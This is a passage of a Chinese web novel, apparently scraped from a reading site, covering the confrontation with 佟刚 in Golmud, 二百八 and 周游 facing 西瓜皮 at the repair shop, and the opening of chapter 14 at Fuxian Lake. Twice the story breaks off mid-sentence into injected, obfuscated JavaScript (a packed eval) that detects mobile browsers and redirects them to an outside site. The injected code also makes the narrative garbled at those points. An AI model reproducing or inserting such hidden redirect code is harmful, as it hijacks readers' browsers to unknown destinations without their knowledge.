冷晚晚无语地白眼一翻,径直往前探身,用力地掰过他的脸,让他能直视她的眼睛,对视的瞬间,她冷冷一笑:“当然,你要是骗我,我也不能保证不对你动手!你知道的,我这人脾气差,最讨厌别人骗我!你看着我的眼睛说,这一切都跟你没关系,一切都是巧合!” 十足的压迫感,带着七分威胁三分恐吓,佟刚心里发慌,眼神避无可避,开始控制不住地疯狂眨眼,冷晚晚突然轻笑?出声:“佟刚,你这人真的不会撒谎!” 她说着,还用手掌轻轻拍了拍佟刚的脸颊,啪、啪、啪,每一声都像是在抽他的脸,佟刚没办法,只能硬着头皮跟着尴尬地笑笑,那表情简直比哭还难看。 冷晚晚松开手,身子后仰了仰,双手交叉抱在胸前,似笑非笑:“说吧,修车铺那场好戏就是你安排的吧?还有,二百八家里遭了贼,是不是也是你做的?不对,你这人没这脑子,也没这胆子,难不成是我大伯给你的任务?” 以冷晚晚的聪明才智,佟刚知道肯定瞒不住,但猜归猜,这事儿的前因后果绝不能从他口里说出来,毕竟他曾经承诺过,青海的事绝不能让冷晚晚知道。 眼下蒙混过关已经不可能,他脑中飞速旋转只想到一个字:跑。 他身子酝酿着后撤,视线无意间往后一瞥,瞧见了茶几上的水杯,赶忙不自然地转移话题:“你刚醒了,要不要先喝点热水?我给你去拿……” 说着,作势就要出去。 “佟!刚!”冷晚晚一字一顿,几乎咬牙切齿。 佟刚立马定住,像个做错事的孩子,不知所措地杵在屋子里,时不时拿眼睛偷瞄冷晚晚,好几次两人的视线撞在一起,佟刚就像被针扎了似的,吓得浑身一抖,视线立马弹开。 如此反复了好几次,冷晚晚失去了耐性,轻叹一声:“好!你要是不说,那我自己去问冷毅,实在不行我就去问大伯,我不信我弄不明白……” 这下佟刚急了,几步跨上前来,语气急切:“唉,你别啊!等以后你就知道了,反正我们没干坏事!” “哦?没干坏事?又是偷东西,又是撒网,又是迷药……这叫没干坏事?” 两人争执的声音大了点,躺在一旁的小夭终于转醒,她皱着眉头,慢慢睁开了眼睛,末了用手揉了揉太阳穴,吭吭唧唧地说话:“……我脑子……我脑子……” 一转头,看到眼前的男人,她眼睛陡然瞪大,惊喜地“呀”了一声,下一秒从床上一蹦而起,三步并作两步,一个跃起飞扑,像敏捷的猴一般双手勾住佟刚的脖颈,双腿顺势在佟刚后腰上紧紧扣住,动作如行云流水,眨眼间就挂到了佟刚的身上。 佟刚闪躲不及,只能尴尬地呆立在原地。 小夭欢欣雀跃,挂在他身上晃来晃去,仰头问他:“你怎么也来青海啦?是想我了?专门来看我的?” 佟刚僵直着身体拼命往后躲,抬起下巴,视线看向别处,他似乎十分排斥这种“亲密接触”,甚至为了避免触碰小夭,双手也一直别扭地悬在身侧,看起来就像被点了穴一样。 佟刚满脸无奈,不停劝说小夭:“你下来,下来好好说话!” 小夭哪里肯听,勾着佟刚脖子的手反而搂得更紧了,甚至还嬉笑地往他胸膛上靠,根本不把他的话当回事儿。 见好声好气的劝说没用,佟刚又板起脸,用命令地口气说:“你下来!” “我不,我就不!” “你先下来,这像什么样子!” 小夭仍旧不依不饶,甩又甩不脱,说话她又不听,佟刚实在没办法,最后只能用眼神向冷晚晚求救。 一旁的冷晚晚对这样的场面早已见怪不怪了,就那么一脸嫌弃地看着两人,最后见佟刚都恨不得给她跪下了,才冲着小夭张了张嘴。 “行了,你就别折磨他了,我还有事儿要问他,你下来!” 小夭回头看了冷晚晚一眼,只这一眼就瞧出她脸色不对,分明是有事,而且不是一般的事,心里咯噔一下,也不敢再造次,于是瘪瘪嘴,听话地从佟刚身上跳下来,光着脚走了两步,一屁股坐到床边。 她显然还意犹未尽,笑嘻嘻地看着佟刚,故意说话逗弄他:“我就喜欢看你拿我没有办法的样子,嘻嘻!” 冷晚晚也懒得理,看着佟刚继续问:“既然你不愿意说那些下三滥事儿,好,咱们先放放,就先说说这里是什么地方?还有跟我们一起的人呢?在哪儿?” 她说着抬头四望,屋子里装修得质朴雅致,屋顶和家具都是纯实木打造,散发出淡淡的木香,从顶上垂下一盏藏式风情的吊灯,吊灯底座是木雕的彩色吉祥八宝,墙上挂着几张大幅的唐卡画作,看起来斑斓多姿,神圣诡秘,地上铺着斑斓的印花地毯,一侧的玻璃窗很大,坐在床上能看到窗外浓黑的夜色和稀疏的月光。 佟刚顺着冷晚晚的视线往外看,顿了顿说:“这地方是柏山叔每次来青海的落脚点,你们可以放心住……” 小夭听到两人的对话,这才如梦初醒,我靠,刚刚被喜悦冲昏了头,差点连发生了什么都忘了,果然,男人就是耽误事!所以,先前发生的事都跟佟刚有关?但他为什么要这么做呢? 小夭眉头紧促,百思不得其解。 “柏山叔的落脚点?为什么把我们弄到这里来?” 佟刚眼神闪躲:“青海湖那边不太安全,这边离青海湖远,你们在这里安全些!” 听到这话,冷晚晚陡然瞪大了眼睛,显然吃了一惊:“什么?你是说我们现在已经不在青海湖附近了?” 佟刚点点头:“嗯,现在我们在格尔木境内……” 听到这里,冷晚晚和小夭几乎同时奔到窗前,仰着脑袋往外看,天幕之上挂着一轮莹白的月亮,月光如水倾泻而下,屋内的光亮影响了视线,外面的景致有些看不真切,冷晚晚和小夭几乎贴在了玻璃窗上,借着依稀的天光,看到视线尽头的巍峨雪山,莹亮的月光刚好落在雪线之上。 冷晚晚的视线随着山形上下起伏游走,视线来回确认了几次,有些不敢置信:“那是昆仑山?你竟然把我们弄到昆仑山来了?” 按照距离位置和路程来估计,这里离青海湖开车少说也要六七个小时,小夭也彻底无语,回头瞪了佟刚一眼,阴阳怪气地说:“也是辛苦您了,把我们弄过来应该花了不少力气吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319314|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佟刚被瞪得全身发毛,只能干笑。 眼前的状况实在离谱,冷晚晚脑子里乱糟糟的,她眉头紧锁,又问:“其他人呢?也弄过来了?!” 佟刚摇摇头,信誓旦旦地说:“他们不在这里,但我可以跟你们保证他们很安全!” 冷晚晚冷冷瞥了他一眼,从齿缝里扔出一句:“我不信!” 佟刚无话可说,确实,要是转换立场,他也不会轻易相信。 冷晚晚停顿几秒,又接着说:“除非……我亲自确认,我手机呢?给我!” 两人的对话支离破碎,状况又很复杂,不过小夭很快就理清了头绪,所以是佟刚在修车铺抓住了他们,还下了药,这事儿就算不是他主导,也应该参与了,再往前推,还去二百八家偷了东西,伤了狗,这桩桩件件性质都极其恶劣,也难怪冷晚晚说下三滥! 只是佟刚怎么会做这种事呢?小夭实在想不通,他可是佟刚诶,是那个在公交车上勇抓小偷,后来被揍得鼻青脸肿也不后悔的小男孩;是那个跳进河里救起落水小学生的少年;是那个开车狂飙五条街,帮助围堵肇事逃逸司机的热血青年;是那个陪着她和冷晚晚一起长大,她们遇到麻烦,总会第一时间出现的男人。 她以为他会一直那样正直可靠,那样勇敢热血。 可眼下这算什么?塌房?翻车?果然这社会就是一个巨大的染缸,谁进去滚一圈,出来都得面目全非。 她突然就想起这些年,月如妈频繁对她们说得那些话。 “男人都一样。” “小姑娘都要擦亮眼。” “跟男人玩玩可以,别太认真。” “没有什么是永恒不变的,什么情情爱爱,到最后都会消失!” 就那么一瞬间,她突然有些恍惚,眼前的男人隐隐绰绰看不真切,她使劲眨了眨眼,发现罩在那个男人身上的滤镜慢慢暗淡下去了。 再看到佟刚绕着弯不说真话,小夭简直失望透顶,她板着脸,怒气冲冲地附和冷晚晚的话:“对啊,你对我们做了那些事,还觉得我们会相信你吗?手机给我们!” 冷晚晚很是意外,小夭这个恋爱脑今天这是怎么了?竟然清醒的这么快? 小夭骄傲地扬起头,冲冷晚晚挑挑眉,仿佛在说:“看吧,姐妹我真不是恋爱脑!出事儿我肯定站你那边!” 冷晚晚将信将疑,不相信小夭能这么快就转性,但此刻两个女人还是统一了战线,靠在窗边,齐齐朝佟刚伸手索要电话。 佟刚无奈地叹了口气,走到床边的桌子旁,拉开抽屉,拿出两部手机,扬手扔给了两人。 冷晚晚拿到手机点了好几下屏幕都没反应,这才发现关了机,又狠狠瞪了佟刚一眼,之后快速开机,翻找到通话记录,发现有几个未接电话,但不确定是谁打来的,她手指在屏幕上快速划了划,终于找到卓玛的手机号打了过去。 卓玛在医院照顾小马,很快,二百八的电话号码就发了过来。 冷晚晚立马打了过去,电话通了,但一直没人接,嘟嘟的等待音听得人心烦意乱,就在冷晚晚准备挂断时,一个熟悉的声音响起:“喂,谁啊?” “二百八,是我!” 那头明显一愣,之后有些激动:“冷晚晚?你们没事吧?” “我们没事,你们呢?” “我跟周游都还好,现在正在修车铺谈事情!” “修车铺?你们还在修车铺?”冷晚晚听得一愣一愣的。 “哎呀,这说来话长了,你们现在在哪儿,要不等会儿我跟周游去找你们?见面了再细说?” “我现在……”冷晚晚说着往窗外看了看,“我现在离得有点远,紧赶慢赶也得六七个小时才能回去……” “啊???”二百八大吃一惊,显然没想到。 “我给你们打电话就是想确认你们的安全,别的事等我明天回去再说吧!” “嗯嗯,我跟周游都好,你放心!你要不要跟周游说个话?” 冷晚晚沉默了几秒,说道:“不用了,明天见面再说吧!” 说完,就挂了电话。 小夭赶紧凑上去问:“怎么样?都没事吧?” 冷晚晚点了点头:“嗯,都没事!” “没事就好!没事就好!” 确认一切安好,刚刚剑拔弩张的氛围这才有所和缓,佟刚站在一旁如释重负,委屈巴巴地抬眼看向两人,眼神仿佛在说,看吧我没骗人。 冷晚晚咬牙切齿:“看什么看,还不都是你惹出来的事!你就庆幸人家没报警吧!要是报警了,以后我们就要去牢里看你了!” 说完走到床边,套上鞋子就往外走,走到佟刚面前时,刻意用力地把他扒拉到一边,嘴里嚷道:“让开!” 之后径直往门外走,小夭见状也慌忙跟了出去。 佟刚在后面喊:“你们要去干嘛?” 冷晚晚跟没听到似的,快速穿过厅屋,看到了木质的大门,她快步上前用力拉开,伴着吱呀一声,门扇打开,夜风瞬间灌涌进来,带着大地的余味和微凉的气息。 刚刚在窗边,冷晚晚就注意到门外停着几辆白色SUV,此刻三三两两的男人正靠在车旁聊天抽烟,燃烧的烟头忽明忽暗,在夜里像闪烁的星。 冷晚晚大步朝那边走了过去,听到动静,男人们机警地回头,夜色隐藏了男人们的样貌,只能依稀看出身型。 “给我一把车钥匙!”冷晚晚冲着隐在夜色中的男人们说。 没人回答,只有夜风吹过的呼呼声。 “给我一把车钥匙!”冷晚晚又说了一遍。 等待的间隙,佟刚的声音从后面传来。 “给她!” 话音刚落,一串闪着银光的钥匙串朝着冷晚晚飞过来,冷晚晚伸手稳稳抓住,熟练地按了按钥匙,成功找到了车,绕过三三两两浑身带着烟臭味的男人,拉开驾驶座的车门坐了进去,小夭也赶忙跟着上了副驾。 就在冷晚晚准备拧转钥匙启动出发时,佟刚拉开了后座的车门,坐了进来。 “我也跟你们一起去!” *** 13. 修车铺 另一头的鑫晨修车铺。 二百八刚问冷晚晚要不要周游接电话,周游一听,赶忙把手伸过去,作势就要接,结果二百八听那边说了几句,就贱兮兮地冲周游笑:“哎呀,挂了!那边挂了!” 周游无语,只能尴尬地把手收了回去。 挂了电话,二百八立马又和周游摆出一副“凶神恶煞”姿态,一同看向眼前的目标人物——西瓜皮。 这个西瓜皮就是鑫晨修车铺的老板,此人身板窄小,却长着一个浑圆硕大的脑瓜子,剪着标志性的西瓜头造型,再搭配一张棱角分明的国字脸,整体看上去头重脚轻的,有种不太协调的滑稽感,西瓜皮的外号由此而来。 只是事发的时候,二百八并没有在修车铺里看到西瓜皮,而这会儿,西瓜皮却又堂而皇之地出现,懒懒散散地站在修车铺的院子里,像是要存心气二百八一样,不时伸手捋一捋茂密的头发,漫不经心地看向对面的两人。 二百八看着满头乌发的西瓜皮,又摸摸自己光秃秃的头顶,不禁咬牙暗骂:“特么的,老子头顶上的毛还没他胳膊上的汗毛长得密!” 一旁的周游精神高度集中,小心提防着,丝毫不敢懈怠,生怕这西瓜皮早早设下埋伏,就等着他们入局。 至于他们俩为什么又重回修车铺,这事儿不光冷晚晚想不明白,就连他们俩自己也是稀里糊涂的,这事儿还得从他们醒来后说起…… 原本他们醒来后想出去借个手机联系冷晚晚,二百八想到离家不远的一家杂货铺,自己经常去买东西,跟老板还算熟,借个电话应该不难。 杂货铺不大,是一间破破烂烂的民房改建的,也没有招牌,只在门口堆满了各种五金配件、生活用品,西北风沙大,货品常年这样放着,上面都积了厚厚一层灰。 杂货铺老板是个四十出头的当地人,皮肤粗糙黝黑,穿着一件宽松发旧的粗布短袖,露出胳膊上结实的肌肉线条。 他们进去的时候,老板正窝在灰扑扑的柜台后面津津有味地刷短视频,外放的声音开得很大,一会儿是女人娇滴滴的声音,一会儿是闹哄哄的嬉笑声,老板时不时还跟着呵呵笑几声。 二百八进门就跟老板打了个招呼,老板一边把手机音量调小,一边冲着二百八招招手,用着蹩脚的普通话说:“你有什么要买的,自己看哈!” 说话间,周游紧跟着走进了杂货铺。 见有陌生人来访,老板一下子警觉起来,眼睛时不时就往周游身上瞟。 二百八笑呵呵地往柜台边走,伸手从裤兜里摸出一盒烟来,回头把烟盒往周游面前送了送。 “抽一根?” 周游摇摇头拒绝了。 二百八瘪瘪嘴,从烟盒里抽出一根,转头又递给柜台后边的老板,寒暄道:“最近生意怎么样?” 老板这才把手机按灭了扔在一旁,接过烟,慢悠悠说道:“就那样吧,勉强能过活!” 说着,见二百八没带打火机,忙从抽屉里翻出一个,伸手咔哒一声先给二百八点上,之后又才给自己点上,说话间两人吞云吐雾,烟气瞬间在小小的店铺里弥散开来。 借着丝丝缕缕烟气的遮掩,老板眯着眼睛将周游上上下下打量了个遍,末了朝周游伸了伸下巴,问二百八:“这个帅哥没见过,是你朋友?” 二百八点点头,自豪地炫耀:“对对对,我朋友!一个大网红!好几百万粉丝呢!专门来青海找我玩的……” 老板也挺捧场,忙说:“哟,几百万粉啊,那可不得了……” “那可不!我跟你说啊我这哥们儿可厉害了,就没有他一个人不敢去的地儿,就咱这里的无人区,他都独自闯过好几回呢……” 眼见着二百八说个没完,周游不耐烦地用拳头杵了杵二百八的后背,示意他赶紧办正事,二百八这才打住,跟老板开了口:“哎,哥们儿,手机借我用一下,我打个电话,我跟我兄弟的手机都丢了!” “行啊!你打吧!” 老板很爽快地把手机递给二百八,之后识趣地起身整理货品去了。 二百八拿到手机后,先是打到了观澜客栈,跟央金确认了冷晚晚和小夭一直没回去,之后拿到了卓玛的手机号,再通过卓玛要到冷晚晚的手机号,反正绕了好大一圈,好一通折腾。最后拨通冷晚晚电话的时候,两人的心都提到了嗓子眼。 嘟……嘟……嘟…… 拉长的等待音听得人心里发慌,电话一直没人接,二百八打了一遍又一遍,后来不知是不是手机没电了,那边竟然直接关了机。 二百八和周游顿时有种不详的预感,不会真出事了吧? “报警吧!”周游不安地咬唇。 毕竟人命关天,二百八也点头同意:“行!也只能这样了!” 原本站在货架前一直没说话的杂货铺老板,这时突然转头看向两人,问道:“怎么了?什么事?怎么还要报警呢?” 这事儿实在不好对外人说,二百八就随便找了个话:“哦,没事没事,就是刚刚家里遭贼了!” “这样啊!” 老板说着弯腰抱起一堆五金件,慢悠悠走到柜台边,然后突然将五金件哗啦啦一下子全扔在台面上,柜台是木质的,上面垫了一层厚实的玻璃垫板,五金件砸下去,清脆作响。 突如其来的一下子,把周游和二百八吓了一大跳,两人都下意识往后闪了一步。 “这事儿,就别报警了吧?!” 老板说着一抬头,瞬间就变了脸,话虽然用的问句,但分明带着威胁和命令的口气,说完一伸手,迅捷地从二百八手里抽走手机。 “唉,你干什么?”二百八说着就要伸手去抢。 老板哼笑了几声,顺势将手机揣进衣兜里。 “没什么别的意思,西瓜皮有交代,让你们去修车铺找他,你们担心的人没事,至于报警就没必要了吧!” 二百八不解地皱起眉头:“西瓜皮?” 周游和二百八立马明白过来,这老板和西瓜皮跟之前那拨人都是一伙儿的! “嗯,他就在修车铺等着呢!”老板说着伸头往外看了一眼,见天色已晚,补了一句:“应该等了好一阵了!” 事情以一种万万想不到的方式在发展,谁能想到杂货铺的老板也会牵涉其中呢?既荒诞又离奇,周游和二百八不禁有些毛骨悚然,一来他们并不知道对方什么来头,二来又实在不知道这些人在谋划什么,这些看起来毫不相关的人又是怎么联系到一起的?他们说冷晚晚和小夭没事就真的没事吗? 眼下的状况真是用脚趾头想都觉得离谱的程度:一群人费劲心思地在修车铺把他们迷晕,之后又把他们平安送回了家,这会儿却又等着他们重回修车铺…… 这是闹得哪一出? 从杂货铺回去的路上,气氛沉闷无比,两人左想右想都想不明白,只觉得脑子里一片混沌。 “妈的,耍人玩呢!,这一出一出的!”二百八越想越气。 周游停下脚步,想了想:“既然在等我们,那我们就去会会呗!” 回去稍事准备,再出来的时候天已经大黑了,两人急急忙忙开车就往修车铺赶,车快速穿过破旧的民房区,又驰过繁闹的商业区,径直往镇子外延开去,没过一会儿,就看见修车铺孤零零地立在不远处。 修车铺里灯火通明,院里院外的灯都开着,暖黄的灯光撒了一地,夜风卷起沙尘,像在眼前罩上一层迷雾轻纱,或浓或淡,或虚或实。 因为有了前车之鉴,周游这次留了个心眼,把车停在了院门口,车身进去一半,车屁股留在院子外,刚好堵在门口,这样就算里面的人想关门,一时半会儿也关不上。 二百八坐在副驾,机警地往院子里望,眼珠子滴溜溜地乱转,忙得不可开交,一张大脸都快贴到挡风玻璃上了,眼见就要下车了,他不安地问:“这不会又是一个陷阱吧?等着我们主动上门?” 周游也拿不准:“再迷晕一次?这群人不会这么闲吧?” 说完,视线在院子里扫了扫,低声问了二百八一句:“刚让你带的东西带了吗?” 二百八摸着口袋,点点头:“带了!” 周游嗯了一声。 两人下了车,立刻露出凶神恶煞的姿态,摆明了回来算账的。 二百八扯着嗓子喊:“人呢?你爷爷我又回来了!” 听到动静,西瓜皮快步从屋里出来,看到两人后,立刻笑容满面地迎上来,就像看到了久别重逢的老友一般。 “哎呀,你们可终于来了!我在里屋准备了饭菜!走走走,进去喝两杯!” 这什么情况?周游和二百八一时间有点懵,他们对视一眼,有了前车之鉴,两人的警惕性都提高很多,站在原地没动,冷眼看着西瓜皮。 “我专门上餐馆点的炕锅羊肉,手把羊肉,还有沙葱炒鸡蛋,都是这边的特色菜,进去尝尝?” 西瓜皮一边看眼色,一边陪着小心劝说:“都这会儿了,你们肯定还没吃饭吧,还有这位兄弟一看就是从大城市来的,也尝尝我们这里的地方菜嘛!” 二百八懒得跟他废话,眼睛一横:“西瓜皮,你特么现在唱得哪出啊?有事说事,有账算账!别特么废话!老子差你这顿饭?” 说着又刻意往西瓜皮背后看了一眼,冷笑道:“再说了,谁特么知道你摆得是不是鸿门宴呢?!” 一听这话,西瓜皮赶紧打哈哈:“哎呀,二百八,我的好兄弟,这你就说笑了,咱们都是老相识了,之前都是一场误会!得罪了得罪了!你就大人不记小人过……要不这样,我免费帮你修一年车,你看行不行?” 二百八见西瓜皮嘻嘻哈哈,存心想要敷衍了事,气得脑门冒烟,牙齿咬得咯咯响。 西瓜皮是个人精,见二百八不满意,赶忙又小心试探:“实在不行,那……五年?” 这时闷在一旁的周游实在听不下去了,终于开口:“那俩姑娘呢?” 说话间,眼神像钉子一般死死盯住了西瓜皮。 经这句话一提醒,西瓜皮像是突然想到什么,一拍脑门,说道:“哟,看我这记性!” 说罢,就快步进了屋。 周游和二百八立刻怀疑有诈,两人互看一眼,立刻心领神会,快步走到车边,拉开车门,站在门后做出防御姿态。 等了一会儿,预想中埋伏的人群没出来,反倒是西瓜皮又快步走出来,手里还拿着两人的手机。 “这是你们的手机,现在我物归原主!” 见两人对他很是提防,西瓜皮立马原地站定,跟两人保持安全距离,末了朝着他们扬了扬手里的手机。 周游眼神又冷了几分,语气强硬,一字一顿地问:“我再问一遍,那两个姑娘呢?” 西瓜皮拍着胸脯打包票:“你们放心,我用我的项上人头保证,那两个姑娘绝对平安无事!不信,你们打电话跟她们确认一下不就知道了?” 二百八气急:“你特么在耍我们是吧?还特么打电话,她们的电话根本打不通!快说!人被你们弄到哪里去了?” 好巧不巧,就在这时捏在西瓜皮手里的手机响了,二百八一眼就看出是自己的,忙冲着西瓜皮往车前盖上伸了伸下巴,示意他把手机放上去。 小心翼翼拿到手机,一看来电显示,是冷晚晚的手机号,赶忙接通,简单聊了几句,知道她们很安全,两人悬在心中的大石头这才落了地,紧张的情绪也缓解了不少。 西瓜皮见对方略有松动,又接着解释:“二百八,还有这位兄弟,其实你们心里都知道,我们并不想伤害你们,更不可能要了你们的命,要不然我们就不会费尽心思还把你们送回去,不过这事儿事发突然,确实是我们想得不够周到,我跟两位道歉,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319315|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能不能补偿两位……或者两位有什么要求也可以提……” “补偿?你特么怎么补偿?” 二百八听到这里怒火喷涌,心想你给老子带来的心理阴影拿什么补偿,搞得爷以后看到鱼网都要ptsd了!还有他家的旺财被搞成那样,一想到这里,他就气得不行。 “我说了,条件两位可以提!”西瓜皮仍旧面带笑意。 二百八冷笑:“行啊,让参与这事儿的都特么给我滚出来!跪地下给爷磕三个响头!我就考虑考虑!” 见二百八难以说动,西瓜皮又看向周游,想从他这里找到突破口,奈何周游也是块硬骨头,虽然默不作声,但冷峻的脸上摆明了写着两个字——免谈。 好嘛,好话说尽了! 行,敬酒不吃吃罚酒是吧!西瓜皮站在原地无语地笑笑,像是觉得这两人好赖不分、傻得透顶!他低头捋了捋前额的头发,懒懒散散地倚着院子里废旧的汽车部件,好声好气地继续说:“我再说一次,条件两位可以提!” 说着顿了顿,又补了一句:“但这是最后一次机会了,错过了可就没有了!” 说完这句,西瓜皮就收起了佯装的笑意,一张脸瞬间冷得能结下冰。 周游和二百八早料到西瓜皮不会安什么好心,所以即使他突然换了一副嘴脸,也毫不意外,只是不知道他现在又是演的哪一出? 二百八真是受够了,压低了声音跟周游吐槽:“这家伙怎么这么多戏啊!真是受不了!中二的片子看多了吧!” 周游虽然没说话,但是眼神表示赞同。 之后两人抱着胳膊,昂着脑袋,就那么冷眼看着西瓜皮,一副看你能演到几时的表情。 眼见劝说无果,西瓜皮也渐渐没了耐心:“兄弟,人要懂得见好就收的道理,大家和和气气,各退一步,这事儿就过去了,但你们不听,非要在我的地盘上闹,还要报警,我这人脾气不好,之所以还忍到现在,也是顾念着跟二百八有点情分在,所以别不识抬举!” 二百八冷哼一声:“屁话可真多!你们特么上我家偷了东西,弄伤了狗,还给我们上迷药,坏事干尽了,现在反过来说我们不识抬举,我看你脑子被屎糊了吧?要不我帮你扇扇,让你好好清醒清醒?” 西瓜皮气得嘴角直抽抽:“你……你……” 二百八张嘴就回喷:“你什么你!偷了老子的东西赶紧还回来!还有,我说了,跪下来,给我和我兄弟道歉,否则别想这事儿就这么过去!” “你的东西?”西瓜皮露出一脸疑惑的表情。 “你装什么装,就那个长鳞片的蛋,不就是你们从我家偷走的吗?那是我的东西!” 西瓜皮眼睛一翻,嗤笑出声:“你知道那是什么东西吗?就敢往家里拿,生怕自己死不了是吧?我明明白白地告诉你,那东西放在你们手里只会要了你们的命,我们弄走,反而救了你们一命,就冲这一点,你们就该跪地给我磕三个响头!” 西瓜皮说着扫了一眼二百八和周游,还挑衅一般伸出两根弯曲的手指,在另一个手掌上轻磕了三下,模拟出磕头的模样。 二百八气得火冒三丈,插着腰激情回呛:“就特么一个蛋,三两下就扔油锅里炸了,它还能怎么要我们的命,从锅里跳起来给老子一拳?跟你说,老子可不是吓大的!少跟老子故弄玄虚!” 西瓜皮像看傻子一样看他,似笑非笑地说:“兄弟,这世间未知的事物太多了,要保持敬畏心!罢了,好言难劝该死的鬼!早知道你们这样油盐不进,就应该直接把你们仍到青海湖里,一了百了,根本不会有这么多麻烦!” 说到这里,西瓜皮一脸懊悔,越想越觉得失策,烦躁地吐槽起来:“都特么是冷家干的好事儿,一群胆小怕事的玩意儿,怕这怕那,心慈手软……惹出一堆破烂事儿来,现在让老子来收拾烂摊子……” 他似乎对口中的“冷家”格外不满,说到激动处,一脚踢飞了院子里的汽车零件。 这还没喷过瘾呢,这人咋还自己把自己说恼火了? 二百八和周游一时间不明所以,面面相觑,正准备低声吐槽几句,屋子里突然传出一阵急促的脚步声,两人立马警觉起来。 下一秒,一群黑衣男人从里屋奔出来,少说也有七八个人。 “不好!有埋伏!”二百八大喊一声。 两人反应极快,立马钻进车里,关门、打火,准备随时跑路,透过挡风玻璃,周游一眼就认出了打头的几个,都是熟悉的面孔,就是之前在修车铺捂他们的人,不过这次,这些人的目标似乎不是他们。 周游没有着急后撤,而是静静地看着那群人朝着西瓜皮奔过去,二百八见周游迟迟不动,急得不行,不停催促:“快走啊!人都要围攻我们了!还在等什么呢?” 周游朝他伸了伸手,示意他别说话,末了朝西瓜皮的位置摆了摆头。 只见那群黑衣人,一个个神色慌张,直奔着西瓜皮就去了,领头的男人手里拿着手机,冲着西瓜皮大喊:“瓜哥……瓜哥……不好了!出事了!” 西瓜皮抬头看他,眉头皱成一团:“怎么了?” “你听!” 男人把手机往西瓜皮面前伸了伸,另一只手点了一下屏幕,紧接着一种怪异的声响就从手机里传出来,为了听得更清晰,周游赶忙降下车窗,熄了火。 起先是惊恐的人声,紧接着是急促的刹车声,再接着像是什么尖锐的东西划过金属的声音,一下一下,力道越来越重,直听得人心里发毛,那头的人似乎吓傻了,哆嗦着小声对着手机听筒说话。 “快……快……快来救……” 可话还未说完,就是一阵阵凄厉的惨叫,那人像是被什么东西咬住了脖颈,喉间只能发出嗬嗬的声响。 西瓜皮腾一下站起身来,脸上瞬间没了血色。 ******** 14. 花姐 抚仙湖,废弃别墅区。 老太太和小悦悦在山脚仰着脖子望了半天,才见着几个人从山上奔下来。 他们刚一走近,小悦悦就闻到他们身上浓烈的腥臭味,赶忙捂住鼻子,一脸嫌弃。 “你们这上了趟山,是掉粪坑里了吗?怎么这么臭?” 起子和大志皱着鼻子往自己身上闻了闻,确实很味儿,估计是在鳞片堆里摔倒的时候沾了粘液,浑身都臭烘烘的。 起子一边喘气一边回道:“什么粪坑,我们那是……那是……” 他想了半天也不知道怎么形容那东西:“……反正也是一个坑,但绝对不是粪坑……你都不知道……” 他说着,忽又想起了方才在地下室里的所见所闻,本来就心有余悸,又见着还有外人在场,于是及时打住,没接着往下说。 “到底有什么事儿?催得那么急?”吴沅气喘吁吁地问老太太。 老太太警惕地左看右看:“先别问这么多,外衣、鞋子都通通脱下来!” “啊???” 三人虽然在那鳞片堆里摔了个狗吃屎,身上腥臭不已,但是一听到让他们在光天化日之下脱光衣服,都是一脸莫名其妙。 老太太催促:“别愣着了,快脱啊!” 大志左顾右盼,十分不解:“您至少要跟我们说清楚吧,这没头没尾的,突然就让我们在这地方脱衣服。” “对啊,真是莫名其妙!”起子也赶忙附和。 见几人磨磨唧唧,老太太面色一沉:“那你们说说,你们在那上面看到了什么?” 三人你看看我我看看你,各自在心里斟酌了一下,最后都没吭声。 老太太似乎也不指望他们回答,反而又问:“你们是不是看到很多鳞片?鳞片的中心是不是还有一个‘怪东西’?” 此话一出,三人一下子就僵住了。 小悦悦没跟着上去,对于地下室里的见闻一无所知,一听到什么鳞片啊,怪东西啊,都是云里雾里,于是好奇地扭头问吴沅:“什么鳞片啊,头儿,你们在上面看到了什么?” 吴沅没接小悦悦的茬,反而问老太太:“那东西……有什么问题吗?” 老太太轻轻一笑:“也没什么,就是上一次看到这玩意儿的人,都沉尸抚仙湖了!” 此话一出,顿时鸦雀无声,只有路旁草丛里虫子在啾啾叫。 “诶~~怎么可能呢~” 最后还是起子率先打破沉默,他以为老太太故意吓他们,打趣道:“抚仙湖可是旅游景区,哪这么容易死人……” “抚仙湖可是有一百多米深,你们怎么知道水底不是尸体遍布?”老太太说着,神情渐渐变得凝重,看起来不像是在开玩笑。 这一句话倒是提醒了他们,之前拍的视频可是拍到了不少水下尸体,难道……不会吧…… 这几人本来胆子就小,经老太太这么一吓,心脏都要跳出来了,一个个头皮发炸,心里发毛,慌得不行。 大志和起子一下子慌了神,不知道怎么办,小悦悦又是云山雾罩的搞不清楚状况,于是都齐刷刷回头看吴沅,等着他拿主意。 吴沅此时倒还镇定,虽然这老太太说得有鼻子有眼的,甚至还说出了他们看见的东西,但他还是不相信抚仙湖里的尸体跟那怪东西有什么联系,再说了,全中国那么多湖,哪个湖里没死过人呐!还说看了那怪东西就要沉尸,这也太离谱了…… 他沉吟了一会儿,暗暗觉得不对劲,至于哪里不对劲,他一时又说不上来。 几人都不说话,气氛有些尴尬。 僵持间,一旁的小悦悦抱着出门在外,能少一事是一事的心态,试着劝说吴沅:“头儿,要不咱就……脱了吧?你男的怕什么?就算被人看了也不会少块肉……” 吴沅无语:“……我是怕明天我们仨上热搜,标题是——三男子在抚仙湖边裸奔,引无数游客围观……” 